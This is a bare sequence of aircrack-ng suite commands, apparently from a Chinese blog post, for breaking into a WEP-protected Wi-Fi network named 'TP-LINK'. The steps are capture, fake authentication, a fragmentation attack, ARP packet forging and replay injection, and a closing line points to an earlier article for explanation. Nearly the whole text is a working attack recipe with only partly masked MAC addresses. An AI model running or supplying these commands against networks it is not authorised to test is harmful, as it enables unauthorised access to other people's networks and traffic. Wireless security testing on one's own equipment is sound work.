airodump-ng -c 6 –bssid 00:18:39:xx:xx:xx -w c1 mon0
aireplay-ng -1 0 -e "TP-LINK" -a 00:18:39:xx:xx:xx -h 00:0A:EB:xx:xx:xx mon0

aireplay-ng -5 -b 00:18:39:xx:xx:xx -h 00:0A:EB:xx:xx:xx mon0

packetforge-ng -0 -a 00:18:39:xx:xx:xx -h 00:0A:EB:xx:xx:xx 5 -k 255.255.255.255 -l 255.255.255.255 -y fragment-1208-192737.xor -w arp

aireplay-ng -2 -r arp -x 1024 mon0

如果不明白，请参考上一篇文章
http://www.kumouse.com/article.asp?id=144